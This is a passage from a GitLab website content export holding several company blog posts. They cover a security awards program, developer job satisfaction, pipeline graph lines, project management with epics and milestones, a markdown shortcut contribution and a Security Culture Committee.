and diverse talents of the global GitLab community and our [diversity, inclusion, and belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) value drive inclusivity into this program and we're proud that [community contributions](/handbook/security/security-awards-program.html#community-contributions) play a key role in this program. We also have multiple categories for submissions to encourage participation from engineers and non-engineers alike to ensure we have diversity of thought and innovation.\n\n#### 👉 We want your contributions! 🙌\nThere are multiple ways to contribute and you can see them outlined in this [contribution guide](/community/contribute/). Any [actions that contribute to the security of GitLab](/handbook/security/security-awards-program.html#eligible-actions) are considered and have the potential to be recognized in our Security Awards Program.\n\nNote: For bug bounty hunters interested in researching security vulnerabilities on our platform,  we have a [bug bounty program on HackerOne](https://hackerone.com/gitlab?type=team) where security researchers are invited to submit security bug reports directly for bounties. Those submissions are not considered under this program, but are still really important to us.\n\n### Results: Security fixes and awareness\n\nThis one is easy. The more bugs we spot and fix, the stronger our product is for our customers, the broader community, and our own teams, who use GitLab daily. Beyond this, the Security Awards Program is a great way to spread knowledge about what we're prioritizing on the Security team and the GitLab issues we use for awards council voting and discussion are a nice weekly resource to generate awareness of changes that matter!\n\n### Transparency: Increases visibility and collaboration\n\nThe final GitLab value at play here is – last but not least – [transparency](https://handbook.gitlab.com/handbook/values/#transparency). It's been widely acknowledged that transparency and security don't always easily mix. And, sure, we admit it's more difficult, but not impossible. Our Security Awards Program is meant to be as transparent as possible, while ensuring no confidential information is leaked through our pipelines. We also try to [dogfood as much as we can](/handbook/product/product-processes/#dogfood-everything) here, so the transparency around this program presents a great opportunity to experiment with our new [threat modeling process](/handbook/security/threat_modeling/). This careful review allows us to keep the source code open and make the whole process available in the handbook. While the \"actions\" rewarded are often confidential since they are related to vulnerabilities or security issues, the [leaderboard with the awarded people](/handbook/security/awards/leaderboard-fy22.html) is completely public.\n\nOur journey to recognize security initiatives is just getting started. Fleshed out in the spirit of our values, our Security Awards Program is showing constant progress and results, leading to security awareness, engagement, and a more secure organization and product.\n\n## Congrats and thank you to our current top 10 contributors 🎉 :\n\n| Contributor | Rank in their category | Points |\n| [@cablett](/company/team/#cablett) | 1 | 600 |\n| [@alexkalderimis](/company/team/#alexkalderimis) | 2 | 500 |\n| [@engwan](/company/team/#engwan) | 3 | 480 |\n| [@whaber](/company/team/#whaber) | 4 | 400 |\n| [@alexpooley](/company/team/#alexpooley) | 5 | 400 |\n| [@theoretick](/company/team/#theoretick) | 6| 400 |\n| [@sabrams](/company/team/#sabrams) | 7 | 300 |\n| [@tmaczukin](/company/team/#tmaczukin) | 8 | 300 |\n| [@nolith](/company/team/#nolith) | 1 | 300 |\n| [@emanuele.divizio](https://gitlab.com/emanuele.divizio) | 1 | 300 |\n\nHow do you reward and recognize security fixes in your organization? Is there something more or different we could do in our Security Awards Program? Tell us in the comments!\n",[674,676,815],{"slug":18524,"featured":6,"template":678},"how-we-used-gitlab-values-to-build-a-security-awards-program","content:en-us:blog:how-we-used-gitlab-values-to-build-a-security-awards-program.yml","How We Used Gitlab Values To Build A Security Awards Program","en-us/blog/how-we-used-gitlab-values-to-build-a-security-awards-program.yml","en-us/blog/how-we-used-gitlab-values-to-build-a-security-awards-program",{"_path":18530,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18531,"content":18536,"config":18541,"_id":18543,"_type":16,"title":18544,"_source":17,"_file":18545,"_stem":18546,"_extension":20},"/en-us/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen",{"title":18532,"description":18533,"ogTitle":18532,"ogDescription":18533,"noIndex":6,"ogImage":9234,"ogUrl":18534,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18534,"schema":18535},"Why software developer job satisfaction matters and how to make it happen","Science has proven happier developers are more productive. It’s time to take software developer job satisfaction seriously – here’s how the right combo of culture and tools, i.e., a DevOps platform, can help.","https://about.gitlab.com/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why software developer job satisfaction matters and how to make it happen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-05-13\",\n      }",{"title":18532,"description":18533,"authors":18537,"heroImage":9234,"date":18538,"body":18539,"category":8943,"tags":18540},[11618],"2021-05-13","\nIn the midst of a global pandemic and an ongoing worldwide shortage of coders, software developer job satisfaction has never been more important. But to managers, and their teams, happiness can certainly feel elusive, hard-to-measure, and difficult to achieve.\n\nBut there’s no question it’s a worthwhile goal, and you don’t have to look further than science for proof of that. Two years ago authors Daniel Graziotin and Fabian Fagerholm [studied more than 1300 developers](https://link.springer.com/chapter/10.1007/978-1-4842-4221-6_10) to rate their happiness, assess factors that make them unhappy, and to see if software developer job satisfaction was truly linked to improved productivity. The duo used the Scale of Positive and Negative Experience (SPANE) and their results were published in [_Rethinking Productivity in Software Engineering_](https://link.springer.com/book/10.1007/978-1-4842-4221-6).\n\nTheir findings were surprisingly straightforward: Coders were a \"moderately happy\" group, as a whole, and were made unhappy by three primary things: being stuck while problem solving, time pressure, and working with bad code or with poor coding processes. A fourth reason related to information overload. \"(The)...current software tools may overload developers with information,\" the study found. The research went on to outline how unhappy developers were less productive, suffered from \"broken flow,\" had less motivation, and produced low quality code. And finally, after two different psychological tests done in labs, the authors were able to declare definitively that \"happy software developers are indeed more productive.\"\n\n## Get happy, but how?\n\nNow that science has validated what we *felt* had to be true all along, it’s time to step back and consider the factors that play into software developer job satisfaction.\n\nA good place to start is with the development process. In our [2021 Global DevSecOps Survey](/developer-survey/), we found almost 36% of respondents said their teams are doing DevOps or DevSecOps, up from 27% in 2020. And there’s a reason why DevOps is so popular: it’s not only most likely to yield better code quality and faster time to market but it also adds to developer job satisfaction. In fact, more than 13% of respondents said [DevOps](/topics/devops/) makes developers  happier or makes their team more attractive to potential new employees.\n\nBut one of the realities of DevOps is tools...lots of them. In our survey, 38% of respondents used five tool chains while nearly 28% used between five and 10 (and 56% said there were an average of five tools on each tool chain.) Five tool chains with five tools each means teams are dealing with 25 tools – that’s certainly building a case for information overload and potentially *very unhappy* developers.\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## The beauty of less\n\nSo if DevOps, streamlined, is the key to software developer job satisfaction, the answer is obvious: Adopting a DevOps platform that brings tools together in a single application for collaboration, visibility, and development velocity makes for happier devs.\n\nOur survey respondents seemed to agree. When we asked about the benefits of a DevOps platform, the answers were clear: Better DevOps overall, improved collaboration, easier automation, and visibility/traceability. Here’s what they said:\n\n_\"Reduced mean time to recovery (MTTR), quicker time to market, reduced lead time for fixes, and fewer change failures.\"_\n\n_\"More ownership of everything to do with the product.\"_\n\n_\"Reliability, repeatability, consistency, productivity.\"_\n\nIf it’s time for more efficient DevOps (and of course happier developers), take our quiz to understand your level of DevOps platform maturity. And if you want to understand the heavy toll too many tools can take on your team, dive into [how to avoid the DevOps tax](/topics/devops/use-devops-platform-to-avoid-devops-tax/).\n",[8570,4103,267],{"slug":18542,"featured":6,"template":678},"why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen","content:en-us:blog:why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen.yml","Why Software Developer Job Satisfaction Matters And How To Make It Happen","en-us/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen.yml","en-us/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen",{"_path":18548,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18549,"content":18554,"config":18560,"_id":18562,"_type":16,"title":18563,"_source":17,"_file":18564,"_stem":18565,"_extension":20},"/en-us/blog/placebo-lines-on-the-pipeline-graph",{"title":18550,"description":18551,"ogTitle":18550,"ogDescription":18551,"noIndex":6,"ogImage":17588,"ogUrl":18552,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18552,"schema":18553},"Placebo Lines on the Pipeline Graph","Have you noticed the connecting lines missing on your pipelines lately? Here's why","https://about.gitlab.com/blog/placebo-lines-on-the-pipeline-graph","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Placebo Lines on the Pipeline Graph\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Beckham\"}],\n        \"datePublished\": \"2021-05-11\",\n      }",{"title":18550,"description":18551,"authors":18555,"heroImage":17588,"date":18557,"body":18558,"category":18484,"tags":18559},[18556],"Sam Beckham","2021-05-11","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nHave you ever pressed the close door button on the elevator, in the hope that you'll save a few precious seconds?\nOr got frustrated at the person stood next to you at the cross-walk, neglecting to press the button?\nWell, maybe they know something you don't, or perhaps you know this already.\nMany buttons in our society lie to us.\n[David McRaney](https://youarenotsosmart.com/2010/02/10/placebo-buttons/) dubbed these, \"Placebo buttons\" and they're everywhere.\nThose elevator doors won't close any faster and the cross-walk button has no effect on the lights.\nThe only lights they control are the lights on the buttons themselves.\nThey give you the feedback you crave, but that's all they're doing.\n\nThese placebos aren't constrained to the physical world, they're prevalent in [UI design](/blog/the-evolution-of-ux-at-gitlab/) too.\nFrom literal placebo buttons like [YouTube's downvote](https://www.quora.com/Does-downvoting-a-comment-on-YouTube-even-do-anything), to more subtle effects like Instagram always [pretending to work](https://www.fastcompany.com/1669788/the-3-white-lies-behind-instagrams-lightning-speed), or progress bars that have a [fixed animation](https://www.theatlantic.com/technology/archive/2017/02/why-some-apps-use-fake-progress-bars/517233/).\nThey're everywhere if you know where to look.\n\nAt GitLab, we created a placebo of our own in one of our core features; the pipeline graph.\n\nThose of you who have used our pipeline graph, will be familiar with its appearance.\nThere's a series of jobs, grouped by stages, connected by a series of lines depicting the relationships between the jobs.\nBut these lines might be lying to you.\nThese lines are indiscriminately drawn between each job in a stage, regardless of their relationship.\nThese lines are placebos.\n\n![The old pipeline rendering with lines connecting every job in a stage](https://about.gitlab.com/images/blogimages/placebo-lines_old-graph.png)\n\nThis wasn't a problem to begin with.\nA basic pipeline has several jobs across a handful of stages.\nJobs in each stage would run parallel to each other, but each stage would run sequentially.\nIn the image shown above, all the jobs in the test stage would trigger at the same time. Once those jobs had finished, all the jobs in the build stage would trigger.\nWe used rudimentary CSS to draw lines connecting each job in one stage to each job in the next.\nThese lines weren't calculated based on their connections, but still reflected the story they were telling.\n\nSince the introduction of `needs` relationships in [v12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063), pipelines got a bit more complicated.\nNow you could configure a job in a later stage to trigger as soon as a job in an earlier stage completed.\nLooking at our old example, we could set the API deployment to run as soon as our spec tests passed.\nThis skips the remaining tests and the entire build stage, turning our lines into pretty little liars.\n\nWe had many internal discussions about these lines, and how to show the relationships between jobs.\nThere's the [`needs` visualization](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/#needs-visualization), which does an excellent job of displaying these relationships, but the main pipeline graph was still inaccurate.\nFor the past few months, we've been [refactoring the pipeline graph](https://gitlab.com/gitlab-org/gitlab/-/issues/276949), giving it a new lease of life and fixing some of its issues along the way.\nOne of those issues were the faked lines.\nIn the new version, we can accurately draw lines between jobs.\nLines that actually depict the relationships jobs have with each other.\nNow the lines no-longer lie!\n\n![The newer pipeline graph showing the correct needs links between jobs](https://about.gitlab.com/images/blogimages/placebo-lines_new-graph.png)\n\nThe above image shows an unreleased version of the pipeline graph.\nYou can see the lines drawn between the jobs to show that the `deploy:API` job can start as soon as the `rspec` job is successful.\nSomething the old lines (shown earlier in this post) would have been unable to depict.\n\nOne unfortunate downside of this is that these lines can be quite expensive to calculate.\nThey're actual DOM nodes, drawn deliberately and placed precisely.\nOn smaller graphs this isn't a problem, but some of our initial tests have found pipelines with a potential 8000+ job connections.\nThat kind of calculation would grind the browser to a halt, and nobody wants that.\n\nAt GitLab, we believe in boring solutions.\nWe make the simple change that sets us on the path towards where we want to be.\nShip it, get feedback, and iterate.\nSo that's what we did.\nIn the first phase of this rollout, we shipped the new pipeline graph with no lines connecting the jobs.\nWe don't have to worry about the expensive calculations, and we still get to roll out the refactored pipeline graph.\n\n![The current (v13.11) pipeline graph showing no links between jobs](https://about.gitlab.com/images/blogimages/placebo-lines_current-graph.png)\n\nWe know some of you will miss them, but fear not.\nBoring solutions are just technical debt if you don't iterate on them.\nSo the [improved lines are coming](https://gitlab.com/groups/gitlab-org/-/epics/4509) in a future release, along with several other improvements to the pipeline graph.\nWe're already starting to roll out the new [Job Dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/298973) view which shows the jobs in a (much closer to) execution order.\nStay tuned for more updates, and watch [Sarah Groff Hennigh Palermo's talk](https://www.youtube.com/watch?v=R2EKqKjB7OQ) for the technical side of this effort and a deeper dive into some of the decisions we made.\n",[1384,11037,1899,2248],{"slug":18561,"featured":6,"template":678},"placebo-lines-on-the-pipeline-graph","content:en-us:blog:placebo-lines-on-the-pipeline-graph.yml","Placebo Lines On The Pipeline Graph","en-us/blog/placebo-lines-on-the-pipeline-graph.yml","en-us/blog/placebo-lines-on-the-pipeline-graph",{"_path":18567,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18568,"content":18574,"config":18578,"_id":18580,"_type":16,"title":18581,"_source":17,"_file":18582,"_stem":18583,"_extension":20},"/en-us/blog/project-management-using-gitlab-platform",{"title":18569,"description":18570,"ogTitle":18569,"ogDescription":18570,"noIndex":6,"ogImage":18571,"ogUrl":18572,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18572,"schema":18573},"Can DevOps and project management co-exist? Yes, on the daily at GitLab","Stay agile by using GitLab for DevOps project management","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669575/Blog/Hero%20Images/agilemultipleteams.jpg","https://about.gitlab.com/blog/project-management-using-gitlab-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Can DevOps and project management co-exist? Yes, on the daily at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2021-05-11\",\n      }",{"title":18569,"description":18570,"authors":18575,"heroImage":18571,"date":18557,"body":18576,"category":734,"tags":18577},[12075],"\n\nGitLab is best known as an all-in-one DevOps platform, but it is also an effective tool for project management. Non-technical teams at GitLab, such as [the Marketing team](/blog/gitlab-for-project-management-one/), use the GitLab DevOps platform for project management, and recently the Alliances team learned that DevOps and project management work well for our purposes.\n\n## About the IBM partnership\n\n[GitLab recently launched a partnership with IBM](/press/releases/2021-01-14-gitlab-IBM-to-support-acceleration-of-devops-automation.html) to help the organization automate their DevOps platform. Since I work on the Alliances team, I needed an efficient, compatible, and high-performance project management application to manage the many moving parts of the GitLab and IBM partnership as well as other projects related to our partnerships.\n\nMy very first instinct was to test a few of the project management web applications on the market, but this would involve a tedious process of convincing my colleagues to join me on this journey to explore a sprawling new set of tools. Then I thought why not explore our own Gitlab DevOps platform as a project management tool? The beauty of GitLab is that it is a [DevOps platform](https://www.youtube.com/watch?v=wChaqniv3HI) delivered as a single easy-to-use application.\n\nSome of my early questions were:\n\n- Can the GitLab DevOps platform work as a project management tool for the strategic Alliance team?\n- Can GitLab manage and track business activities over a period of time?\n- Can team members collaborate and manage various projects using a single application?\n\nIn the end, the journey to adopting GitLab as a DevOps platform and project management tool was similar to the journey many of our customers experience. In this blog post, I will dive deeper into how the Alliance team uses GitLab for project management, explain how we used GitLab to onboard a new strategic partner, and launched support of [GitLab Ultimate for IBM Cloud Paks](https://www.ibm.com/products/gitlab-ultimate). All the pre- and post-onboarding activities in particular required collaboration and contributions from various teams across the organization.\n\n## Applying DevOps features to project management\n\n### About epics and roadmaps\n\nWhy organize work into a hierarchy? I began the strategic partnership effort by organizing the work into multi-level epics. The [idea behind epics is to aggregate similar work](https://docs.gitlab.com/ee/user/group/epics/#epics) (or issues) into epics and manage delivery of work. In the example below, you'll see the top-level epic was called \"IBM cloud paks\" which contained three child epics.\n\n![An example of a multi-level epics from the IBM cloud paks project](https://about.gitlab.com/images/blogimages/proj-mgmt-epic.png){: .shadow.medium.center}\nWork is divided into three time-bound levels for the IBM cloud paks project: Pre-launch, 0-90 days, and 90-180 days.\n{: .note.text-center}\n\nAnother way to represent the epics is through a [roadmap view](https://docs.gitlab.com/ee/user/group/roadmap/#roadmap). The main advantage of this feature is that it allows the collaborators on epics and issues to monitor project progress using a calendar timeline view.\n\n![An example of a project management timeline for the IBM cloud paks project using the epics roadmap view](https://about.gitlab.com/images/blogimages/proj-mgmt-timeline.png){: .shadow.medium.center}\nThe same IBM cloud paks project epic is depicted using the Roadmap view, which adopts a timeline view.\n{: .note.text-center}\n\n### How issues are used to capture work\n\nClick into any of the epics to find a set of issues that make up the epic. I use [issues as the basic unit of work](https://docs.gitlab.com/ee/user/project/issues/). Contained within the \"IBM cloud paks: Pre-launch\" epic are 33 issues.\n\n![The list view shows inside the \"IBM cloud paks: Pre-launch\" epic are 33 issues](https://about.gitlab.com/images/blogimages/proj-mgmt-issue.png){: .shadow.medium.center}\nInside the \"IBM cloud paks: Pre-launch\" epic are 33 issues\n{: .note.text-center}\n\nOne thing to note is that an issue can have a single assignee or owner, or it can have multiple assignees.\n\n### How to use issue boards\n\nAn [agile board](/blog/gitlab-for-agile-portfolio-planning-project-management/) can help a user visualize work and manage all the open threads in a given epic and/or project. The board can help you move issues efficiently through various phases of work. On the Alliances team, we are always iterating on how to better track the status of issues. [Here is more information about the current status flows for the Alliances team](/handbook/alliances/#status-alliance---status--status).\n\nThe screenshot below shows how an [issue board can be applied as a Kanban board by filtering for the \"IBM\" label](https://docs.gitlab.com/ee/user/project/issue_board.html#issue-boards). To see transitions between work stages, use [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels), which are mutually exclusive and represent transitions between various workflow statuses, such as \"status::1\" and \"status::2\"\n\n![Kanban board showing how labels can be used to organize issues into work stages](https://about.gitlab.com/images/blogimages/proj-mgmt-board.png){: .shadow.medium.center}\nHow we use boards for the IBM cloud paks project.\n{: .note.text-center}\n\n### Milestones help time-box events\n\nWhile an epic is a collection of related issues, [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), and sub-epics and is generally used to scope a long-running initiative or program (e.g., a marketing campaign or a new product category) epics can also contain smaller, more discrete and timeboxed events, such as monthly releases or calendar quarters. These [timeboxes are represented as Milestones](https://docs.gitlab.com/ee/user/project/milestones/), which roll up issues and merge requests in the same way as higher-level epics. Apply the \"Milestone view\" to track progress on the smaller deliverables within an epic.\n\n![Milestone view showing Alliances team projects](https://about.gitlab.com/images/blogimages/proj-mgmt-milestone.png){: .shadow.medium.center}\nHow milestones can be used to track work progress within a specific time frame.\n{: .note.text-center}\n\n### How Milestone burnup and burndown charts chart progress\n\n[Burnup and burndown charts are used by project managers to measure progress](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html). Burndown charts analyze how much work is left in a project before it can be finished successfully. Burnup charts measure the work that has been done against the total work for the project. Both types of charts are available in the GitLab DevOps platform. I relied mostly on epics and milestones to track work progress for the IBM partnership.\n\n![burndown](https://about.gitlab.com/images/blogimages/proj-mgmt-burndown.png){: .shadow.medium.center}\nThe burdown and burnup charts for the IBM cloud paks partnership project.\n{: .note.text-center}\n\n### Inside analytics and insights project management tools\n\nMost project management tools are great at capturing project details, and can help answer questions such as \"where does the project stand on actual vs. planned activities?\" or can help track progress using milestones and due dates. [Project analytics and insights dashboards](https://docs.gitlab.com/ee/user/analytics/#project-level-analytics) are built into the GitLab DevOps platform. There are many built-in analytics dashboards, such as CI/CD, code review, merge requests, and issues. For the IBM partnership project, I used the [issues dashboard analytics](https://docs.gitlab.com/ee/user/group/issues_analytics/index.html) to see how many issues were opened compared to how many issues were closed. This tool helped me manage the team capacity and identify any bottlenecks in the project.\n\n![The insights dashboard shows how many issues were opened and closed](https://about.gitlab.com/images/blogimages/proj-mgmt-insights.png){: .shadow.medium.center}\nThe insights dashboard shows many issues were opened vs. how many issues were closed each month.\n{: .note.text-center}\n\n[Value Stream Analytics](https://docs.gitlab.com/ee/user/group/value_stream_analytics/) is a particularly unique feature of GitLab's analytics suite. Since GitLab is a complete DevOps platform with a single data store, GitLab can automatically generate reports to not only identify high-level metrics and blockers, but also drill down into those blockers and improve value flow with just a few clicks.\n\n![Showing recent project activity: 32 new issues and 19 commits](https://about.gitlab.com/images/blogimages/proj-mgmt-analysis.png){: .shadow.medium.center}\nAnalytics showing recent project activity.\n{: .note.text-center}\n\nThe Value Stream Analytics provides a high-level view into common stages of the SDLC out-of-the-box, making it easier to monitor the overall workflow from discussion to code changes, through review and collaboration, and out to production – with no additional work required. And since the code changes and collaboration are happening within GitLab, just one click on an item will take you to the blocked issue or merge request, so you can comment, reassign, or contribute to move things along.\n\nSince all the necessary data is already in GitLab's system, customizing Value Stream Analytics can be completed in just a few clicks: Hiding and reordering stages and even creating your own with simple drop-down menus.\n\n![The customized value stream shows the average amount of time spent in the selected stage for each item](https://about.gitlab.com/images/blogimages/proj-mgmt-valuestream.png){: .shadow.medium.center}\nThe custom value stream above shows the number of days to completion.\n{: .note.text-center}\n\n## DevOps platform and project management in one\n\nThere are many project management tools in the marketplace and solutions for managing the SDLC of a project. The GitLab DevOps platform and project management tool satisfied my need to track partnership-related activities while also managing the technical demos and workshops developed for the IBM partnership. I look forward to continuing to explore the constantly-evolving GitLab platform to grow and manage our strategic partnerships on the Alliances team.\n\nCover image by [Martin Sanchez](https://unsplash.com/@martinsanchez?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/MD6E2Sv__iA)\n{: .note.text-center}\n",[1899,2368,754,3798,1444],{"slug":18579,"featured":6,"template":678},"project-management-using-gitlab-platform","content:en-us:blog:project-management-using-gitlab-platform.yml","Project Management Using Gitlab Platform","en-us/blog/project-management-using-gitlab-platform.yml","en-us/blog/project-management-using-gitlab-platform",{"_path":18585,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18586,"content":18592,"config":18596,"_id":18598,"_type":16,"title":18599,"_source":17,"_file":18600,"_stem":18601,"_extension":20},"/en-us/blog/why-i-love-contributing-to-gitlab",{"title":18587,"description":18588,"ogTitle":18587,"ogDescription":18588,"noIndex":6,"ogImage":18589,"ogUrl":18590,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18590,"schema":18591},"Why I love contributing to GitLab","Making small meaningful changes is what it's all about.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679501/Blog/Hero%20Images/new-feature.png","https://about.gitlab.com/blog/why-i-love-contributing-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why I love contributing to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Austin Regnery\"}],\n        \"datePublished\": \"2021-05-11\",\n      }",{"title":18587,"description":18588,"authors":18593,"heroImage":18589,"date":18557,"body":18594,"category":18484,"tags":18595},[10221],"\n\nIt was mid-morning on a Tuesday in February, and I had 10 minutes in between meetings. So I decided to try and solve a pain point of mine. \n\nYou see, I had to memorize this HTML snippet to create a collapsible section in GitLab Issue descriptions and comments, but I kept forgetting it. Was it `summary` or `section`? I could never remember.\n\n```html\n\u003Cdetails>\n\u003Csummary>Insert Title\u003C/summary>\nHidden content\n\u003C/details>\n```\n\nEven though it is not vanilla Markdown, GitLab knows how to interpret some HTML. I used this formatting trick fairly often since full-page screenshots can occupy a lot of screen space, which leads to excessive scrolling.\n\n\nSo I decided to poke around our codebase to see how the other Markdown shortcuts worked. To my surprise, it was pretty straightforward. Each shortcut had a simple text input that mapped to each button. This implementation was simple to replicate since I just needed to copy/paste and replace a few words.\n\n![Image of Vue and Haml files with editor shortcuts](https://about.gitlab.com/images/blogimages/why-i-love-contributing-to-gitlab/vue-haml.png){: .shadow}\n\nThe Vue and Haml files with the new shortcut\n{: .note.text-center}\n\nI started a branch and began hacking away at the code. Now, I would never call myself a Software Engineer, but I like to try and make things from time to time. I was able to add a new shortcut to the toolbar to insert this code snippet for me in less than 10 minutes. No more memorizing! Making contributions like this is what makes working at GitLab so special.\n\nNow, it wasn't ready for production, but I at least had something that worked. I shared it with my UX colleagues in Slack, and it started to gain traction with several up-votes and few constructive comments on how to make it better.\n\nWith the functionality flushed out, a few other designers helped me get a better icon added to our SVG library. Using clear iconography is critical for communicating information more clearly.\n\n| Initial Icon | Final Icon |\n| - | - |\n| ![SVG of chevron right icon](https://about.gitlab.com/images/blogimages/why-i-love-contributing-to-gitlab/chevron-right.svg) | ![SVG of details block icon](https://about.gitlab.com/images/blogimages/why-i-love-contributing-to-gitlab/details-block.svg) |\n\nThe last thing to do was resolve my failing tests, and I had several teammates help me do that.\n\n![Gif of the shortcut being used](https://about.gitlab.com/images/blogimages/why-i-love-contributing-to-gitlab/demo.gif){: .shadow}\n\nToday [this change](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54938) merged! Now I solved a pain point for me and others. It took a few months to go from idea to production, but the effort was super low. I'd say the return on my initial investment, 10 minutes, is super high.\n\n> Having a direct impact on a product was never an option for me before joining GitLab.\n\n![Image of participants in the Merge Request](https://about.gitlab.com/images/blogimages/why-i-love-contributing-to-gitlab/participants.png){: .shadow}\n\nThank you to everyone that helped me deploy this\n{: .note.text-center}",[2249,695,944],{"slug":18597,"featured":6,"template":678},"why-i-love-contributing-to-gitlab","content:en-us:blog:why-i-love-contributing-to-gitlab.yml","Why I Love Contributing To Gitlab","en-us/blog/why-i-love-contributing-to-gitlab.yml","en-us/blog/why-i-love-contributing-to-gitlab",{"_path":18603,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18604,"content":18610,"config":18615,"_id":18617,"_type":16,"title":18618,"_source":17,"_file":18619,"_stem":18620,"_extension":20},"/en-us/blog/how-the-security-culture-committee-is-strengthening-gitlab-values",{"title":18605,"description":18606,"ogTitle":18605,"ogDescription":18606,"noIndex":6,"ogImage":18607,"ogUrl":18608,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18608,"schema":18609},"How the Security Culture Committee is strengthening GitLab values","Learn how this group of team members works to preserve and reinforce GitLab values in the Security department and beyond.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670879/Blog/Hero%20Images/Sec-Culture-Committee-blog.png","https://about.gitlab.com/blog/how-the-security-culture-committee-is-strengthening-gitlab-values","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the Security Culture Committee is strengthening GitLab values\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-05-07\",\n      }",{"title":18605,"description":18606,"authors":18611,"heroImage":18607,"date":18612,"body":18613,"category":674,"tags":18614},[12307],"2021-05-07","\n\nTransparency is a core value here at GitLab and we strive to be [\"open about as many things as possible\"](https://handbook.gitlab.com/handbook/values/#transparency), but as any security practitioner knows, this can, at times, feel as though it conflicts with the work we do within security. That feeling of conflict is one of the main drivers behind the creation of a [Security Culture Committee](/handbook/security/security-culture.html) here at GitLab. The other is to ensure the Security department, and all of GitLab, lives up to our [company values](https://handbook.gitlab.com/handbook/values/), especially as we continue to scale. The [mission and goals of the Security Culture Committee](/handbook/security/security-culture.html#mission-statement) were developed by the committee members themselves, with an eye on our GitLab values and also to ensure representation of our fellow team members.\n\n## How does the committee work?\n\nOur first group of team members, five of us, were peer nominated (thanks, team 😉) back in August of 2020 and include: [Dominic Couture](/company/team/#dcouture), [Mark Loveless](/company/team/#mloveless), [Joern Schneeweisz](/company/team/#joernchen), [Heather Simpson](/company/team/#heather), and [Steve Truong](/company/team/#sttruong). We meet monthly via Zoom (meetings are recorded and viewable internally for GitLab team members) to discuss candidate initiatives or process improvements where GitLab values could be better represented. Between meetings, we work async through GitLab issues and in a dedicated, public-to-GitLab Slack channel (#security-culture).\n\nFellow team members can bring suggestions for initiatives we should tackle via #security-culture channel, an issue or a Slack DM if that's more comfortable. Candidate initiatives are anything where [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration), [results](https://handbook.gitlab.com/handbook/values/#results), [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency), [diversity, inclusion & belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion), [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and/or [transparency](https://handbook.gitlab.com/handbook/values/#transparency) (all GitLab values), could be strengthened and improved.\n\n## Where has the committee focused our efforts so far?\n\nOne of the first things we tried to do was determine how we would define \"success\". We weren't sure, so reached out to the Security department via an anonymous feedback form asking the following questions:\n\n* Do you think the Security Culture Committee is strengthening the GitLab values within the Security department?\n* Do you think the Security Culture Committee should continue its efforts for at least another quarter?\n* Do you have anything to share what the committee could do in the future? Any ideas for opportunities are welcome.\n* Anything else you'd like to mention to the committee?\n\nFor the first two questions, team members had to rate their agreement with the statements on a scale of one (strongly disagree) to five (strongly agree) and 91% of answers were four or above. The other two questions generated interesting ideas to improve transparency in the department and better ways to communicate important news and initiatives across GitLab through Slack updates and entries in our Engineering department's week-in-review newsletter. There's definitely opportunity to improve and strengthen communication within GitLab around Security work and initiatives, and the value these efforts bring to the rest of the organization\n\n### Public profiles for transparency and collaboration\n\nAnother early initiative for our group was to encourage more GitLab team members to adopt public profiles to increase transparency across the company. The use of open, public profiles enables company-wide visibility into projects, plans, statuses, and updates. Public profiles ensure efficiency and fosters greater collaboration when there is visibility into the ongoing efforts of GitLab teams and team members. Public profiles also allow any visitor to see the work team members are doing in public projects. See Heather's profile: [https://gitlab.com/heather](https://gitlab.com/heather) as an example.\n\n![Screenshot of Heather Simpson's public GitLab profile](https://about.gitlab.com/images/blogimages/sec-culture-blog/heathersimpson_publicprofile.png){: .shadow.medium.center}\nPublic profiles foster collaboration through greater visibility into the work GitLab team members are doing.\n{: .note.text-center}\n\n\nTo encourage public profile use, we 